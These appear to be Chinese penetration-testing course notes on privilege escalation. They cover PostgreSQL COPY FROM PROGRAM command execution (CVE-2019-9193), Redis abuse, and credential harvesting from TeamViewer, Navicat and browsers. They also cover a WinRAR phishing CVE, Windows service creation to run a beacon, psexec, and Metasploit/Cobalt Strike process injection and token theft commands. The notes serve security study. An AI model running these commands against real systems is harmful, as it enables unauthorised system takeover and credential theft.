第135-136天:系统权限提升篇&数据库&Postsql&Redis&第三方应用&密码凭据&钓鱼文件

image-20250909205249051

演示案例-系统提权-数据库提权-Redis&PostgreSQL

PostgreSQL-默认5432端口

1
2
3
数据库到linux
条件:数据库用户密码
技术:CVE-2019-9193 UDF libc

image-20250909213616133

image-20250909213631888

image-20250909213639934

1
2
3
4
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

工具提权-MDUT

image-20250909213659760

image-20250909213706020

image-20250909213721129

Redis-默认6379端口

1
2
3
数据库到Linux
条件:利用未授权或密码连接后执行
技术:写密钥ssh 计划任务 反弹shell CVE2022沙盒执行

复现搭建:

1
2
3
4
5
6
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
/redis-server

手工提权

参考文章:https://superhero.blog.csdn.net/article/details/135741392

工具提权-MDUT

image-20250909213817681

image-20250909213822368

image-20250909213830546

image-20250909213836381

image-20250909213840924

工具提权-RequestTemplate

image-20250909213849990

image-20250909213853680

image-20250909213859173

image-20250909213905367

image-20250909213909445

image-20250909213914931

image-20250909213928258

image-20250909213939126

演示案例-系统提权-第三方软件-TeamViewer&Navicat&WinRAR&浏览器

1
2
3
4
远控类:Teamviewer 向日葵 Todesk VNC Radmin等
密码类:各大浏览器 Xshell Navicat 3389 等
服务类:FileZilla Serv-u Zend等
文档类:Winrar WPS Office等

原理:

1
2
1、通过普通用户或Web用户收集或提取有价值凭据进行提升
2、通过普通用户或Web用户上传类似钓鱼文件等待管理提升

image-20250909214019654

image-20250909214026381

1、计算机用户(有用户权限要求):Teamviewer

image-20250909214101852

image-20250909214107634

2、计算机用户(有用户权限要求):NavicatPremium

image-20250909214957373

image-20250909215006831

3、计算机用户(有用户权限要求):浏览器密码凭据

image-20250909215020722

image-20250909215026035

image-20250909215032775

image-20250909215047018

image-20250909215051414

image-20250909215056219

4、计算机用户或WEB权限:Winrar(CVE-2023-38831)

参考地址:https://blog.csdn.net/weixin_46944519/article/details/132806105

image-20250909215119067

image-20250909215204491

image-20250909215209772

image-20250909215213894

权限提升-Win系统权限提升篇&计算机管理用户&进程注入&令牌窃取&服务启动&远程控制

1
2
普通用户是没办法用(服务启动&远程控制、进程注入&令牌窃取等方法)提权到administrator、system权限的
而system权限是可以用(服务启动&远程控制、进程注入&令牌窃取等方法)降权到administrator、user权限的

image-20250909215901289

本地管理用户查看域

image-20250910082059365

就算是本地管理用户,是看不到域的信息的。

但是我使用system账户,就可以查看到域,属于本机上能看到的域内信息:

image-20250910082311302

image-20250910082245914

降权到域用户与内网域交互

不仅仅可以靠提权到system进行查看域用户,也可以通过降权到域用户,来查看域

image-20250910082553134

找到域用户,可以通过先提权查看域用户有哪些,然后在降权:

image-20250910082630604

通过进程注入,或者令牌窃取两种方式可以将其降权到普通域用户

image-20250910082745010

image-20250910082710358

image-20250910082916185

演示案例-Win系统提权-本地管理用户(administrator)-服务启动(提权)

1
2
3
4
5
6
7
sc是用于与服务控制管理器和服务进行通信的命令行程序。
适用版本:windows 7、10、08、12、16、19、22,早期用at命令

#at命令的适用范围
Windows Server 2012 及之前的部分系统:at 命令可正常使用,例如 Windows XP、Windows Server 2003、Windows Server 2008、Windows 7 等。
Windows Server 2012 及之后的系统:at 命令被标记为 “过时”(deprecated),微软官方推荐使用 schtasks 命令替代,但在 Windows Server 2012 中仍可临时使用(需注意部分功能受限)。
Windows 8/10/11 及 Windows Server 2016+:at 命令被彻底移除,执行时会提示 “该命令已被弃用” 或直接报错,必须使用 schtasks 进行计划任务管理。

利用AT命令进行提权

1
2
3
4
5
6
#给系统添加一项作业,在21:26打开
at 21:26 /interactive cmd.exe
#查看作业详情
at
#删除作业
at /del

创建一个名叫syscmd的执行文件服务(windows中服务是由system权限运行)

1
sc Create xiaodi binPath= "c:\cs.exe"

image-20250910083629419

运行服务

1
sc start xiaodi

image-20250910083855924

使用sc命令创建一个syscmd的服务,绑定binPath的路径

1
sc Create syscmd binPath= "cmd /K start" type= own type= interact

启动这个服务

1
sc start syscmd

但是我使用普通用户写入这个命令,是成功不了的,只有在administrator用户的时候才能成功

image-20250910083952255

image-20250910084133144

这种是弹出一个交互式窗口,更适合在桌面环境的前提下使用。

演示案例-Win系统提权-本地管理用户(administrator)-远程控制(提权)

https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools

image-20250910084808368

1
2
psexec.exe -accepteula -s -i -d cmd #调用运行cmd
psexec.exe -accepteula -s -i cmd.exe

image-20250910090020206

演示案例-Win系统提权-本地管理用户(administrator)-进程注入(提权&降权)

image-20250910090151481

MSF

1
use exploit/multi/handler		#msf如果要接收shell,第一个模块一定是这个,后面的模块就根据你生成的模块进行选择就行。

在MSF的shell模式:PS命令可以查看对应的进程

image-20250910090600707

1
migrate PID //迁移对应PID

image-20250910090810057

CS

1
ps			#查看进程

image-20250910090851214

同样是使用ps命令进行注入。

1
inject PID //注入对应PID

image-20250910091000177

还可以进行图形化操作:

image-20250910091602766

image-20250910091544685

演示案例-Win系统提权-本地管理用户(administrator)-令牌窃取(提权&降权)

MSF

1
2
3
use incognito
list_tokens -u //看下能窃取的用户
impersonate_token "NT AUTHORITY\SYSTEM"

image-20250910092242036

CS

1
ps //查看进程

image-20250910092334381

1
steal_token PID //窃取进程令牌

image-20250910092423719

我这里感觉遇到了和小迪一样的问题,但是我的msf和我的cs没有控制一台主机。。。

image-20250910092718311

图形化操作:

image-20250910092907224

实际情况下,就直接使用:

1
getsystem

这个就会帮你尝试令牌窃取和进程注入的方式都会尝试。